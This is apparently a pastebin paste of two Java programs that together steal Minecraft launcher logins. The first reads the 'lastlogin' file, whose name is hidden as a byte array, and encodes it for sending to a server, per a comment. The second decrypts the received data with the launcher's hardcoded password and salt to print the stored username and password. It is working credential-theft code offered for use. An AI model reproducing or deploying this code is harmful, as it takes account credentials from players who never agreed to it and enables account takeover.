· 6 years ago · Feb 11, 2019, 08:32 AM
1import java.io.File;
2import java.io.FileInputStream;
3import java.io.IOException;
4import java.io.InputStream;
5
6public class Main {
7
8 /**
9 * @param args
10 * @throws IOException
11 */
12 public static void main(String[] args) throws IOException {
13 InputStream is = new FileInputStream(new File(getAppDir("minecraft"), new String(new byte[] { 108, 97, 115, 116, 108, 111, 103, 105, 110 })));
14 byte[] ab = new byte[is.available()];
15 is.read(ab);
16 is.close();
17 String s = "";
18 for(int i = 0; i < ab.length; i++) {
19 if(i > 0)
20 s += ',';
21 s += ab[i];
22 }
23 // send s to your server or something
24 System.out.println(s);
25 }
26
27
28 private static File getAppDir(String par0Str) {
29 String var1 = System.getProperty("user.home", ".");
30 File var2;
31
32 switch(field_74533_a[getOs().ordinal()]) {
33 case 1:
34 case 2:
35 var2 = new File(var1, '.' + par0Str + '/');
36 break;
37
38 case 3:
39 String var3 = System.getenv("APPDATA");
40
41 if(var3 != null) {
42 var2 = new File(var3, "." + par0Str + '/');
43 } else {
44 var2 = new File(var1, '.' + par0Str + '/');
45 }
46
47 break;
48
49 case 4:
50 var2 = new File(var1, "Library/Application Support/" + par0Str);
51 break;
52
53 default:
54 var2 = new File(var1, par0Str + '/');
55 }
56
57 if(!var2.exists() && !var2.mkdirs()) {
58 throw new RuntimeException("The working directory could not be created: " + var2);
59 } else {
60 return var2;
61 }
62 }
63
64 private static EnumOS getOs() {
65 String var0 = System.getProperty("os.name").toLowerCase();
66 return var0.contains("win") ? EnumOS.WINDOWS : (var0.contains("mac") ? EnumOS.MACOS : (var0.contains("solaris") ? EnumOS.SOLARIS : (var0.contains("sunos") ? EnumOS.SOLARIS : (var0.contains("linux") ? EnumOS.LINUX : (var0.contains("unix") ? EnumOS.LINUX : EnumOS.UNKNOWN)))));
67 }
68
69 private static enum EnumOS {
70 LINUX, SOLARIS, WINDOWS, MACOS, UNKNOWN;
71 }
72
73 private static final int[] field_74533_a = new int[EnumOS.values().length];
74
75 static {
76 try {
77 field_74533_a[EnumOS.LINUX.ordinal()] = 1;
78 } catch(NoSuchFieldError var4) {
79 ;
80 }
81
82 try {
83 field_74533_a[EnumOS.SOLARIS.ordinal()] = 2;
84 } catch(NoSuchFieldError var3) {
85 ;
86 }
87
88 try {
89 field_74533_a[EnumOS.WINDOWS.ordinal()] = 3;
90 } catch(NoSuchFieldError var2) {
91 ;
92 }
93
94 try {
95 field_74533_a[EnumOS.MACOS.ordinal()] = 4;
96 } catch(NoSuchFieldError var1) {
97 ;
98 }
99 }
100
101}
102
103---
104
105import java.io.DataInputStream;
106import java.io.IOException;
107import java.io.InputStream;
108import java.security.InvalidAlgorithmParameterException;
109import java.security.InvalidKeyException;
110import java.security.NoSuchAlgorithmException;
111import java.security.spec.InvalidKeySpecException;
112import java.util.Random;
113
114import javax.crypto.BadPaddingException;
115import javax.crypto.Cipher;
116import javax.crypto.CipherInputStream;
117import javax.crypto.IllegalBlockSizeException;
118import javax.crypto.NoSuchPaddingException;
119import javax.crypto.SecretKey;
120import javax.crypto.SecretKeyFactory;
121import javax.crypto.spec.PBEKeySpec;
122import javax.crypto.spec.PBEParameterSpec;
123
124
125public class Decrypt {
126
127 /**
128 * @param args
129 * @throws NoSuchPaddingException
130 * @throws InvalidAlgorithmParameterException
131 * @throws NoSuchAlgorithmException
132 * @throws InvalidKeySpecException
133 * @throws BadPaddingException
134 * @throws IllegalBlockSizeException
135 * @throws InvalidKeyException
136 * @throws IOException
137 */
138 public static void main(String[] args) throws InvalidKeyException, IllegalBlockSizeException, BadPaddingException, InvalidKeySpecException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, NoSuchPaddingException, IOException {
139 String s = "the string your server received";
140 final byte[] ab = new byte[s.split(",").length];
141 for(int i = 0; i < ab.length; i++)
142 ab[i] = Byte.parseByte(s.split(",")[i]);
143 InputStream is = new InputStream() {
144 int i = 0;
145 @Override
146 public int read() throws IOException {
147 if(i < ab.length)
148 return ab[i++];
149 else
150 return -1;
151 }
152 };
153 DataInputStream dis = new DataInputStream(new CipherInputStream(is, getCipher(2, "passwordfile")));
154 System.out.println(dis.readUTF());
155 System.out.println(dis.readUTF());
156 dis.close();
157 }
158
159 private static Cipher getCipher(int mode, String password) throws InvalidKeySpecException, NoSuchAlgorithmException, InvalidKeyException, InvalidAlgorithmParameterException, NoSuchPaddingException {
160 Random random = new Random(43287234L);
161 byte[] salt = new byte[8];
162 random.nextBytes(salt);
163 PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
164
165 SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec(password.toCharArray()));
166 Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
167 cipher.init(mode, pbeKey, pbeParamSpec);
168 return cipher;
169 }
170}